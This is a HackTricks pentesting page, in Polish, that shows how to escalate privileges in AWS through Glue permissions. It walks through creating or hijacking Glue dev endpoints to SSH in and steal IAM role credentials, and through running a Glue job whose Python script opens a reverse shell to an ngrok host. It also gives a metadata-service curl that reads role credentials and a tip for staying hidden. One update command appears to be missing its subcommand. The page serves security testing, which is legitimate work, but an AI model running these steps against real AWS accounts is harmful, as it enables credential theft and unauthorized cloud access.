AWS - Glue Privesc

Support HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Użytkownicy z tymi uprawnieniami mogą ustawić nowy punkt końcowy AWS Glue do rozwoju, przypisując istniejącą rolę serwisową, którą można przyjąć przez Glue, z określonymi uprawnieniami do tego punktu końcowego.

Po skonfigurowaniu, atakujący może SSH do instancji punktu końcowego i ukraść poświadczenia IAM przypisanej roli:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Dla celów ukrycia, zaleca się użycie poświadczeń IAM z wnętrza wirtualnej maszyny Glue.

Potencjalny wpływ: Privesc do roli serwisowej glue określonej.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Użytkownicy z tym uprawnieniem mogą zmienić istniejący klucz SSH punktu końcowego rozwoju Glue, umożliwiając dostęp SSH do niego. To pozwala atakującemu na wykonywanie poleceń z uprawnieniami przypisanej roli punktu końcowego:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potencjalny wpływ: Privesc do roli usługi glue używanej.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Użytkownicy z iam:PassRole w połączeniu z glue:CreateJob lub glue:UpdateJob, oraz glue:StartJobRun lub glue:CreateTrigger mogą tworzyć lub aktualizować zadanie AWS Glue, przypisując dowolne konto usługi Glue, i inicjować wykonanie zadania. Możliwości zadania obejmują uruchamianie dowolnego kodu Python, co można wykorzystać do ustanowienia odwrotnego powłoki. Ta odwrotna powłoka może być następnie wykorzystana do wykradzenia poświadczeń IAM roli przypisanej do zadania Glue, co prowadzi do potencjalnego nieautoryzowanego dostępu lub działań opartych na uprawnieniach tej roli:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potencjalny wpływ: Privesc do roli usługi glue określonej.

glue:UpdateJob

Tylko z uprawnieniem do aktualizacji atakujący mógłby ukraść poświadczenia IAM już przypisanej roli.

Potencjalny wpływ: Privesc do roli usługi glue przypisanej.

Odniesienia

Support HackTricks

Last updated